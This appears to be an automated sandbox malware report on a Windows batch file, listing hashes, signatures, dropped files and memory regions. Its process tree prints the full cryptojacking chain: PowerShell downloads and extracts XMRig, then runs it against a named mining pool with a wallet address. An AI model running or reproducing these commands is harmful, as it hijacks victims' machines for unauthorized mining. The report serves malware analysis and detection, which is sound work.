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Analysis

  • max time kernel
    1s
  • max time network
    297s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2023, 05:54

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 23 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1208
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
        PID:2348

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      08f9f3eb63ff567d1ee2a25e9bbf18f0

      SHA1

      6bf06056d1bb14c183490caf950e29ac9d73643a

      SHA256

      82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

      SHA512

      425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sldkg5ki.3ux.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

      Filesize

      131KB

      MD5

      f7a058a54db08a7bb45760fc4b91a516

      SHA1

      7589332651dade06f4395747e3960a7a2cb2485a

      SHA256

      25c226ec24b00a7a5a09aa5dd1f25f74ab9bccfc3fde55ca1ab9963efde75e0d

      SHA512

      9bc395ce10eb91fbb24172ad63572cfc88aa669bcbeddfce9174f7bb78aacdbfe88cfea3c78813acf63a2b247b69e43792e8335e3df2b0cc87b09a4be14d4312

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

      Filesize

      20KB

      MD5

      37991559378955b7b1194af2931999a7

      SHA1

      c49cd4e0fed33bcd05ac90555c1f4c97e9e2f17d

      SHA256

      50b5f65b8ee6ef059daae405220fdc55f505e77a16cad1ab4cb1ff959fe0ca00

      SHA512

      301e0cd6033ad7d17d0016e8b979b942e99c3d79a863dad9c883d0d93e5f19fd0a27ece768c817337d99755630c038d15e53d117bcd9ca55674ed47b9703a0e2

    • memory/1208-29-0x0000023B3E3D0000-0x0000023B3E3E0000-memory.dmp

      Filesize

      64KB

    • memory/1208-30-0x0000023B3E3D0000-0x0000023B3E3E0000-memory.dmp

      Filesize

      64KB

    • memory/1208-28-0x00007FF8517B0000-0x00007FF852271000-memory.dmp

      Filesize

      10.8MB

    • memory/1208-32-0x0000023B407A0000-0x0000023B407AA000-memory.dmp

      Filesize

      40KB

    • memory/1208-31-0x0000023B407B0000-0x0000023B407C2000-memory.dmp

      Filesize

      72KB

    • memory/1208-55-0x00007FF8517B0000-0x00007FF852271000-memory.dmp

      Filesize

      10.8MB

    • memory/2348-71-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-77-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-60-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-62-0x0000019F46040000-0x0000019F46060000-memory.dmp

      Filesize

      128KB

    • memory/2348-61-0x0000019F46020000-0x0000019F46040000-memory.dmp

      Filesize

      128KB

    • memory/2348-63-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-64-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-67-0x0000019F46040000-0x0000019F46060000-memory.dmp

      Filesize

      128KB

    • memory/2348-66-0x0000019F46020000-0x0000019F46040000-memory.dmp

      Filesize

      128KB

    • memory/2348-65-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-68-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-69-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-70-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-58-0x0000019F44700000-0x0000019F44720000-memory.dmp

      Filesize

      128KB

    • memory/2348-72-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-73-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-74-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-75-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-76-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-59-0x0000019F44750000-0x0000019F44770000-memory.dmp

      Filesize

      128KB

    • memory/2348-78-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-79-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-80-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-81-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-82-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-83-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-84-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-85-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-86-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-87-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-88-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-89-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-90-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-91-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/2348-92-0x00007FF657330000-0x00007FF657E33000-memory.dmp

      Filesize

      11.0MB

    • memory/3676-5-0x00000203BC8F0000-0x00000203BC912000-memory.dmp

      Filesize

      136KB

    • memory/3676-10-0x00007FF8517B0000-0x00007FF852271000-memory.dmp

      Filesize

      10.8MB

    • memory/3676-12-0x00000203BC920000-0x00000203BC930000-memory.dmp

      Filesize

      64KB

    • memory/3676-11-0x00000203BC920000-0x00000203BC930000-memory.dmp

      Filesize

      64KB

    • memory/3676-16-0x00007FF8517B0000-0x00007FF852271000-memory.dmp

      Filesize

      10.8MB